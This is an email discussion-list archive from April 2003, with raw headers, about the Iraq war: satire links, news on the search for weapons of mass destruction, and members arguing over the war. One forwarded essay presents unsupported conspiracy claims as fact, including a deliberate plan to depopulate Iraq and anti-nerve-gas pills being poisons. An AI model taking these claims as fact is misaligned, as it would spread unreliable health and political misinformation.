14:22:37 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"OnNf52.0.4i7.iBSa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1616 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 92 This just in: LANGLEY, VA-The CIA announced Monday that it suspects Saddam Hussein's latest televised address was pre-recorded, pointing to its suspiciously dated reference to Nelly's "Hot In Herre," a rap hit from the summer of 2002. Above: In a message believed to be pre-taped, Saddam warns the U.S. about rising heat levels in Iraq. "For the enemy invaders of Iraq, it soon will get truly hot in here," Hussein said in the speech, which was televised worldwide Monday. "No amount of clothing removal will be sufficient to withstand the fiery inferno that awaits them on the battlefield." "The 'hot in here' line has definitely raised some eyebrows," CIA director George Tenet said. "However, this may not prove anything: Even though that song is nine months old, you still hear people referencing its chorus all the time. It's even in the new Chris Rock movie." Full story: http://www.theonion.com/onion3912/saddam_speech.html Dave! When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Mon Apr 7 11:32:57 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA32410; Mon, 7 Apr 2003 11:28:59 -0700 Resent-Date: Mon, 7 Apr 2003 11:28:59 -0700 Message-ID: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> From: "Dave N." To: Subject: Date: Mon, 7 Apr 2003 14:27:37 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"V3Ga93.0.Jw7.gDSa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1617 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 93 http://www.madblast.com/view.cfm?type=FunFlash&display=1610 From vortexb-l-request@eskimo.com Mon Apr 7 11:53:41 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA10700; Mon, 7 Apr 2003 11:49:28 -0700 Resent-Date: Mon, 7 Apr 2003 11:49:28 -0700 Message-ID: <013901c2fd36$4db58c00$1202a8c0@WorkGroup> From: "Dave N." To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> Subject: Hmm... Date: Mon, 7 Apr 2003 14:40:30 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"gWbcz3.0.0d2.uWSa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1618 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 94 This explains a lot... http://www.nationallampoon.com/news/truefacts/tf_photos.asp# Dave! When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. From vortexb-l-request@eskimo.com Mon Apr 7 20:03:16 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id TAA02753; Mon, 7 Apr 2003 19:58:25 -0700 Resent-Date: Mon, 7 Apr 2003 19:58:25 -0700 Message-ID: <00d601c2fd7a$a9d262d0$608a9a40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> Subject: Re: The war that may end the age Date: Mon, 7 Apr 2003 19:57:30 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id TAA02713 Resent-Message-ID: <"lNmVm.0.yg.HhZa-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1619 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 95 Editor's Note: The #1 justification for this war, as far as the Bush administration goes, has always been the elimination of mass destruction weapons. It is becoming more and more evident that the threat of these weapons was wildly overblown. Watch as the mission emphasis is slowly devolved from finding these weapons to 'liberating' the Iraqis. Said weapons will join Osama bin Laden on the closet shelf that holds all of the things we once cared a lot about finding. - wrp U.S. Finds No Weapons of Mass Destruction in Iraq Reuters Sunday 6 April 2003 AS SAYLIYA CAMP, Qatar - The U.S. military said on Sunday it had not yet found any weapons of mass destruction and it believed there was a diminishing threat that Iraq might use them as U.S.-led troops take over more territory. "The places it's most likely to be found we haven't even gotten to them yet," Brig. Gen. Vincent Brooks told a briefing at Central Command in Qatar. Brooks said the farther the U.S.-led forces moved into Iraq, the less opportunity there was for Iraq to use any weapons of mass destruction it might have. Washington launched a war against Iraq on March 20, vowing to disarm it of weapons of mass destruction that Baghdad denies it has. "The closer we get ... there are fewer and fewer options on what can be used to deliver weapons of mass destruction." "As we continue to advance more areas are taken away. We are pleased that it hasn't been used to date but not satisfied that the threat has gone," Brooks said. (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) ----- Original Message ----- From: "Rick Monteverde" To: Sent: Monday, April 07, 2003 2:18 AM Subject: Re: The war that may end the age > Dave - > > >This is one of the funniest things you've posted to date! This is a COMMUNIST website!!! > >Everybody, be sure to read the responses to the article as they're absolutely hysterical. From vortexb-l-request@eskimo.com Tue Apr 8 03:41:31 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA18598; Tue, 8 Apr 2003 03:39:38 -0700 Resent-Date: Tue, 8 Apr 2003 03:39:38 -0700 Message-ID: <003e01c2fdba$beef66a0$9a0e2b42@compaq> From: "Eddie X" To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> Subject: Re: Hmm... Date: Tue, 8 Apr 2003 03:29:33 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Resent-Message-ID: <"i2FiB.0.XY4.gRga-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1620 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 96 what explains alot dave? Ed X ----- Original Message ----- From: "Dave N." To: Sent: Monday, April 07, 2003 11:40 AM Subject: Hmm... > This explains a lot... > > http://www.nationallampoon.com/news/truefacts/tf_photos.asp# > > Dave! > > > When the oppressed joyfully embrace their liberators, remember those who acted to keep them > enslaved. > > From vortexb-l-request@eskimo.com Tue Apr 8 03:56:35 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA23957; Tue, 8 Apr 2003 03:54:35 -0700 Resent-Date: Tue, 8 Apr 2003 03:54:35 -0700 Message-ID: <001501c2fdbd$2a6da430$6d849e40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: "Smoking Gun" WMD Site in Iraq Turns Out to Contain Pesticide Date: Tue, 8 Apr 2003 03:53:58 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id DAA23926 Resent-Message-ID: <"Jxv0l2.0.Gs5.hfga-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1621 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 97 "Smoking Gun" WMD Site in Iraq Turns Out to Contain Pesticide Agence France Presse Monday 7 April 2003 NEAR NAJAF, Iraq - A facility near Baghdad that a US officer had claimed might finally be "smoking gun" evidence of Iraqi chemical weapons production turned out to contain pesticide, not sarin gas as originally thought. A military intelligence officer for the US 101st Airborne Division's aviation brigade, Captain Adam Mastrianni, told AFP that comprehensive tests Monday determined the presence of the pesticide compounds. Initial tests had reportedly detected traces of sarin -- a powerful toxin that quickly affects the nervous system -- after US soldiers guarding the facility near Hindiyah, 100 kilometres (60 miles) south of Baghdad, became ill. Mastrianni said: "They thought it was a nerve agent. That's what it tested. But it is pesticide." He said a "theatre-level chemical testing team" made up of biologists and chemists had disproved the preliminary field tests results and established that pesticide was in fact the substance involved. Mastrianni added that the dozen sick soldiers, who had become nauseated, dizzy and developed skin blotches, had all recovered. The belated correction was an embarrassment for the US forces in the region, who had been quick to say that they thought they had finally found the proof they have been actively looking for, that Iraq was hiding weapons of mass destruction. A spokesman for the US army's 3rd Infantry Division, Major Ross Coffman, had told journalists at Baghdad's airport that the site "could be a smoking gun". "We are talking about finding a site of possible weapons of mass destruction," he had added. But in Qatar, where the US Central Command (CentCom) is directing the US-led invasion of Iraq, officials had been much more cautious. "We don't have any extraordinary finds at this point while we're still looking," CentCom spokesman US Brigadier General Vincent Brooks told a news briefing. He expressed confidence that the US forces would eventually find the proof they were looking for. Troops, he said, would be increasingly investigating suspected sites, both ones that have been identified beforehand, and others "that can be done on an ad hoc basis where we find some piece of information we didn't previously have -- and frankly we expect there will be a lot of that." In a further sign that US commanders are unconcerned about an Iraqi nuclear, biological or chemical attack, they ordered forces near Baghdad on Monday to shed their protective gear. "It's great to have them off," Lieutenant Colonel Fred Padilla, commander of the 1st Marines Battalion, said after his troops stripped down to lighter camouflage garb. Padilla said an order to take off the cumbersome and hot protection suits had come down from his superiors. "They made an assessment and they determined there was not a serious threat right now," he said. (In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) From vortexb-l-request@eskimo.com Tue Apr 8 04:02:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id DAA26253; Tue, 8 Apr 2003 03:59:58 -0700 Resent-Date: Tue, 8 Apr 2003 03:59:58 -0700 Mime-Version: 1.0 X-Sender: rick@mail.highsurf.com Message-Id: In-Reply-To: <00d601c2fd7a$a9d262d0$608a9a40@annamort> References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> <00d601c2fd7a$a9d262d0$608a9a40@annamort> Date: Tue, 8 Apr 2003 00:59:41 -1000 To: vortexb-l@eskimo.com From: Rick Monteverde Subject: Re: The war that may end the age Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id DAA26213 Resent-Message-ID: <"TVCPZ1.0.4Q6.jkga-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1622 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 98 So, my next door neighbor is this WHACK who's always threatening us for no reason, making noise all night, etc. Then he gets even more depressed and angry lately, says he has built a bomb, and he's thinking of just blowing up himself and both our houses. Our bedroom is like 15 feet away. So I call the police, and they go in and he resists, and they arrest him and search the house. No bomb is found. I'm GLAD there was never a bomb. I'm also glad he'll be in prison and his house has been sold to people who turn out to be quite nice. None of that really happened to me personally, it's just a story I made up to prove how silly it is to present the material below as a criticism of the Bush administration's words and actions. They have been valid and correct all the way. The threat was not "overblown" at all. Iraq has used WMD. They certainly have some stashed somewhere. If we never find it, just as well - then I hope it never IS found and no one ever has access to it. Anna, it's clear that you don't give much thought to these issues by re-posting all the hateful rubbish you find out there. So be it. But to not even have a heart...the people of Iraq (and Kuwait) have suffered horribly, and they and even larger groups of people would continue to suffer in the future if that insane regime is not eliminated. How can anyone with a conscience speak or write, much less act, against those doing what has become necessary to effect its immediate removal after all that has happened? - RM >Editor's Note: The #1 justification for this war, as far as the Bush administration goes, has always been the elimination of mass destruction weapons. It is becoming more and more evident that the threat of these weapons was wildly overblown. Watch as the mission emphasis is slowly devolved from finding these weapons to 'liberating' the Iraqis. Said weapons will join Osama bin Laden on the closet shelf that holds all of the things we once cared a lot about finding. - wrp > >U.S. Finds No Weapons of Mass Destruction in Iraq >Reuters > >Sunday 6 April 2003 > >AS SAYLIYA CAMP, Qatar - The U.S. military said on Sunday it had not yet found any weapons of mass destruction and it believed there was a diminishing threat that Iraq might use them as U.S.-led troops take over more territory. > >"The places it's most likely to be found we haven't even gotten to them yet," Brig. Gen. Vincent Brooks told a briefing at Central Command in Qatar. > >Brooks said the farther the U.S.-led forces moved into Iraq, the less opportunity there was for Iraq to use any weapons of mass destruction it might have. Washington launched a war against Iraq on March 20, vowing to disarm it of weapons of mass destruction that Baghdad denies it has. > >"The closer we get ... there are fewer and fewer options on what can be used to deliver weapons of mass destruction." > >"As we continue to advance more areas are taken away. We are pleased that it hasn't been used to date but not satisfied that the threat has gone," Brooks said. > >(In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) From vortexb-l-request@eskimo.com Tue Apr 8 07:15:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id HAA09836; Tue, 8 Apr 2003 07:12:26 -0700 Resent-Date: Tue, 8 Apr 2003 07:12:26 -0700 Message-ID: <014d01c2fdd8$d0727340$6d849e40@annamort> Reply-To: "Anna M*" From: "Anna M*" To: "MetaExistence" Subject: WHAT WE DON'T KNOW ABOUT THIS WAR Date: Tue, 8 Apr 2003 07:11:52 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA09750 Resent-Message-ID: <"rOurh3.0.dP2.AZja-"@mx1> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1623 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 99 WHAT WE DON'T KNOW ABOUT THIS WAR -- by JON RAPPOPORT ---an open letter to Christopher Hitchens, Bill O'Reilly, Sean Hannity, Sean Penn, Susan Sarandon, Martin Sheen, the VFW, Ted Turner, David Hackworth, Madonna, Michael Moore, Robert Byrd, Rush Limbaugh, Dan Rather, Richard Perle, Ariel Sharon, the Pope, David Rockefeller, Amnesty International, and the King of Siam--- April 7. Yesterday, in an attempt to find out more about the death of NBC reporter, David Bloom, I spoke with the former head of the Pentagon Depleted Uranium Investigation Team, Dr. Doug Rokke. Rokke was the man who went to Iraq a decade ago on a mission to report on depleted uranium (DU). What he found was so horrifying the Pentagon scuttled his work and tried to make him an invisible man. Rokke suffered uranium poisoning himself. But his medical records, and those of who knows how many thousands of other soldiers, do not reflect that. History has been suppressed, has been re-written. Our conversation began with me asking Rokke if he thought that the announced cause of David Bloom's death, pulmonary embolism, could have resulted from DU. But Rokke stopped me short. He said, "This was the diagnosis they immediately gave out? I don't see how. You can't diagnose that from the battlefield. You really need an autopsy to discover whether that's the cause .." Which opened up new questions. Rokke began to talk about conditions in the Gulf now. He said that the PR about the US limiting civilian casualties is absurd, because, for example, the Pentagon admits to losing 700 cruise missiles that have been fired at Baghdad in the current campaign. In other words, those missiles strayed off course and no one really knows where they landed and exploded. "700 missiles, each one loaded with DU, is 700,000 pounds of explosives," he said. 700,000 pounds of explosives going off, spreading cancer-causing uranium in all directions. Rokke then informed me that, since 1990, and up to the beginning of Gulf War 2, some 260,000 US soldiers have been granted disability. 10,000 have died. I'm relaying these facts to you in a sober way, but of course I was staggered as Rokke talked. He painted a picture of the Iraqi landscape as a toxic soup. DU, yes. But also many other toxins, because as he explained, when bombs and missiles rip up ANY material that is composite or synthetic, like plastics, you get all sorts of poisonous byproducts. And that, for example, is what happened at the WTC on 9/11. Rokke said, "I trained a lot of those first health responders. They're dead now." Rokke, over the years, together with colleagues, has issued report after report describing what, in essence, are the inevitable consequences of modern warfare as it is carried out. A lingering toxic landscape that kills over time. When Rokke was in the Gulf a decade ago, one of his fears was confirmed: the masks worn to protect against DU don't work. They can't filter out the smallest and deadliest particles of uranium. "We could taste the stuff [uranium]," he said. Rokke states that the Pentagon is completely aware of the dangers to US solders and combatants, and just doesn't care. I asked him why DU is used in projectile shells and missiles. He told me it was because uranium is so dense the weight of impact on a target causes a lot more damage. And, he said, these shells are not merely coated or tipped with uranium, as some Pentagon people have stated. They are packed with it. Rokke likened the situation to having uranium rods in your backyard. He went on to explain that the PB pills US soldiers have been taking, as protection against nerve gas, are themselves nerve agents. If taken immediately before a nerve-gas attack---and then followed up with two other medicines---the soldier might get protection from nerve gas. But the PB pills are being swallowed long in advance of any possible contact with nerve gas. In essence, soldiers are getting "nerve gas" attacks FROM THE POISON PILLS. Rokke mentioned a number of sites around the world---Afghanistan and the former Yugoslavia, and places in the US---where DU is a major problem right now. By this point in our conversation, Rokke was piecing together an emerging picture of modern war as both murder and suicide. He predicted the consequences of the Iraq war are going to be worse than Gulf War 1. Worse, in terms of damage and death to US troops and the Iraqi people. I hung up the phone stunned. I can only ask that you get this information out to as many people as possible. To give the widest possible benefit of the doubt to mainstream news reporters, THEY JUST DON'T KNOW. They have no idea what they are supporting when they allow the picture of this war to be painted as a careful and controlled campaign. All those maps and arrows and targets---they need to be enveloped in a cloud of MULTIPLE POISONS. Then we would have some concept of what is really going on---and what is going to happen when it's over. Rokke mentioned that, between Gulf War 1 and the start of Gulf 2, the Iraqis tried to build new water treatment facilities in Basra. To clean up their horrible, illness-causing contaminated water. Each time they tried, he said, those emerging facilities were destroyed... What is happening in the Gulf is not merely the result of ignorance. It is not only depraved indifference. It is a plan to depopulate and destroy. US soldiers will be sacrificed, in huge numbers, to forward the larger goal. The depopulation and debilitation of Iraq. Yet, the news networks still display that graphic: OPERATION IRAQI FREEDOM. And DOD spokesmen keep saying the protection of the Iraqi oil fields is being done to preserve "the future wealth of the Iraqi people." That sick joke takes on a new and very ominous meaning. If 260,000 US vets now on disability from Gulf 1 can be hidden from the stupefied American people, what else can be hidden, here and in Iraq, in the coming months and years? How many cases of cancer? How many birth defects? How many kidney and liver failures? How many immune-system destructions? How many American families who support their children now doing time in the Gulf will later watch those sons and daughters waste away, while the Pentagon claims it's all post-traumatic stress? How far do all the toxic clouds drift? How many cases of illness are being misdiagnosed as the result of germs? We are in a time of madness. I can't fault prayer or the distractions of television or even the desperate accoutrements of so-called patriotism. But somehow we have to live beyond cliches and summon up the outrage equal to the destruction. Equal to the moment. The wretched hairless generals are striding through the Pentagon thinking they are on a course of victory, thinking whatever they have to think to avoid the truth that is chasing them like a snake. Let the cardboard floors of lies give way and collapse. Let the voices of the intelligent pro-war advocates incorporate this news. Let them, finally, arrive at a further shore of conscience that compels them to take a stand. They are viewing old images, they are seeing a fantasy of war, they are imagining situations that no longer exist. War is now different. It is a sword you always fall on. WAKE UP. WAKE UP. JON RAPPOPORT www.nomorefakenews.com http://www.nomorefakenews.com From vortexb-l-request@eskimo.com Tue Apr 8 08:45:10 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA22670; Tue, 8 Apr 2003 08:40:24 -0700 Resent-Date: Tue, 8 Apr 2003 08:40:24 -0700 Message-ID: <006c01c2fde5$1a7664e0$1202a8c0@WorkGroup> From: "Dave N." To: References: <012a01c2fd33$7422eac0$1202a8c0@WorkGroup> <013901c2fd36$4db58c00$1202a8c0@WorkGroup> <003e01c2fdba$beef66a0$9a0e2b42@compaq> Subject: Re: Hmm... Date: Tue, 8 Apr 2003 11:39:23 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"91y6g1.0.5Y5.erka-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1624 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 100 Eddie, Did you seriously not get the humor there, or are you just being sardonic? Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Eddie X" To: Sent: Tuesday, April 08, 2003 6:29 AM Subject: Re: Hmm... | what explains alot dave? | | Ed X | | ----- Original Message ----- | From: "Dave N." | To: | Sent: Monday, April 07, 2003 11:40 AM | Subject: Hmm... | | | > This explains a lot... | > | > http://www.nationallampoon.com/news/truefacts/tf_photos.asp# | > | > Dave! | > | > | > When the oppressed joyfully embrace their liberators, remember those who | acted to keep them | > enslaved. | > | > | | From vortexb-l-request@eskimo.com Tue Apr 8 09:02:57 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id JAA31951; Tue, 8 Apr 2003 09:00:06 -0700 Resent-Date: Tue, 8 Apr 2003 09:00:06 -0700 Message-ID: <00b701c2fde7$db72c600$1202a8c0@WorkGroup> From: "Dave N." To: References: <058701c2fc4d$834ae480$468f3a41@annamort> <006d01c2fc7f$539adf60$1202a8c0@WorkGroup> <00d601c2fd7a$a9d262d0$608a9a40@annamort> Subject: Re: The war that may end the age Date: Tue, 8 Apr 2003 11:50:35 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"nHJc_2.0.9p7.58la-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1625 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 101 Rick, You forgot to mention that your neighbor also tried to kill your Dad. ; ) Best, Dave When the oppressed joyfully embrace their liberators, remember those who acted to keep them enslaved. ----- Original Message ----- From: "Rick Monteverde" To: Sent: Tuesday, April 08, 2003 6:59 AM Subject: Re: The war that may end the age | So, my next door neighbor is this WHACK who's always threatening us for no reason, making noise all night, etc. Then he gets even more depressed and angry lately, says he has built a bomb, and he's thinking of just blowing up himself and both our houses. Our bedroom is like 15 feet away. So I call the police, and they go in and he resists, and they arrest him and search the house. No bomb is found. I'm GLAD there was never a bomb. I'm also glad he'll be in prison and his house has been sold to people who turn out to be quite nice. | | None of that really happened to me personally, it's just a story I made up to prove how silly it is to present the material below as a criticism of the Bush administration's words and actions. They have been valid and correct all the way. The threat was not "overblown" at all. Iraq has used WMD. They certainly have some stashed somewhere. If we never find it, just as well - then I hope it never IS found and no one ever has access to it. | | Anna, it's clear that you don't give much thought to these issues by re-posting all the hateful rubbish you find out there. So be it. But to not even have a heart...the people of Iraq (and Kuwait) have suffered horribly, and they and even larger groups of people would continue to suffer in the future if that insane regime is not eliminated. How can anyone with a conscience speak or write, much less act, against those doing what has become necessary to effect its immediate removal after all that has happened? | | - RM | | >Editor's Note: The #1 justification for this war, as far as the Bush administration goes, has always been the elimination of mass destruction weapons. It is becoming more and more evident that the threat of these weapons was wildly overblown. Watch as the mission emphasis is slowly devolved from finding these weapons to 'liberating' the Iraqis. Said weapons will join Osama bin Laden on the closet shelf that holds all of the things we once cared a lot about finding. - wrp | > | >U.S. Finds No Weapons of Mass Destruction in Iraq | >Reuters | > | >Sunday 6 April 2003 | > | >AS SAYLIYA CAMP, Qatar - The U.S. military said on Sunday it had not yet found any weapons of mass destruction and it believed there was a diminishing threat that Iraq might use them as U.S.-led troops take over more territory. | > | >"The places it's most likely to be found we haven't even gotten to them yet," Brig. Gen. Vincent Brooks told a briefing at Central Command in Qatar. | > | >Brooks said the farther the U.S.-led forces moved into Iraq, the less opportunity there was for Iraq to use any weapons of mass destruction it might have. Washington launched a war against Iraq on March 20, vowing to disarm it of weapons of mass destruction that Baghdad denies it has. | > | >"The closer we get ... there are fewer and fewer options on what can be used to deliver weapons of mass destruction." | > | >"As we continue to advance more areas are taken away. We are pleased that it hasn't been used to date but not satisfied that the threat has gone," Brooks said. | > | >(In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes.) | From vortexb-l-request@eskimo.com Tue Apr 8 14:34:51 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA19023; Tue, 8 Apr 2003 14:31:58 -0700 Resent-Date: Tue, 8 Apr 2003 14:31:58 -0700 Message-Id: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Tue, 08 Apr 2003 17:32:07 -0400 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: Commendation for missing the target Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"EsF9K2.0.Af4.E_pa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1626 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 102 Last night the news showed one of these high tech video-game style views of the war in Iraq. It showed a laser targeting an abandoned truck full of ammunition on a road. Another vehicle approached just as the bomb fell, and the person targeting the laser deliberately moved the laser ~20 meters away, pointing into a river. The bomb fell into the water and probably did not hurt the people in the second vehicle. Since this was featured on the news I expect the pilot got a commendation. This is something new to history. I doubt that in any previous conflict an army bragged that it deliberately missed a target in order to spare civilian lives. That is a waste of expensive ordnance, and more to the point, it was a waste of critical time and precious resources, and it meant the pilot and the aircraft took a risk and then threw away the benefit. I do not think much of the U.S. political leaders. I do not think the war was justified -- despite the obvious benefits it may bring to most Iraqi people if political reform succeeds. But you have to hand it to the U.S. military. It is astounding how careful they have been, at great risk to their own lives. Another example of this is the fact that they are dropping concrete bombs on some urban targets. I mean bombs filled with concrete, not explosives. They have deliberately set the clock back 1,500 years to the technology of catapults and Trebuchets! Again, that means soldiers are risking their lives and aircraft that cost millions of dollars, and instead of dropping ordnance that will explode and almost certainly kill the enemy or destroy the target, they are dropping concrete, even though concrete is less likely to destroy the target effectively. The only reason they do this is to prevent collateral damage to civilians and civilian property. Re: concrete bombs: http://www.defenselink.mil/news/Mar2003/t03052003_t305targ.html - Jed From vortexb-l-request@eskimo.com Tue Apr 8 15:22:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id PAA14014; Tue, 8 Apr 2003 15:19:31 -0700 Resent-Date: Tue, 8 Apr 2003 15:19:31 -0700 Message-ID: <000701c2fe1c$da8fed00$1202a8c0@WorkGroup> From: "Dave N." To: References: <5.2.0.9.2.20030408170820.026a1dc8@pop.mindspring.com> Subject: Re: Commendation for missing the target Date: Tue, 8 Apr 2003 18:18:28 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-HotPOP: ----------------------------------------------- Sent By HotPOP.com FREE Email Get your FREE POP email at www.HotPOP.com ----------------------------------------------- Resent-Message-ID: <"I9jXB2.0.tQ3.ohqa-"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1627 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: 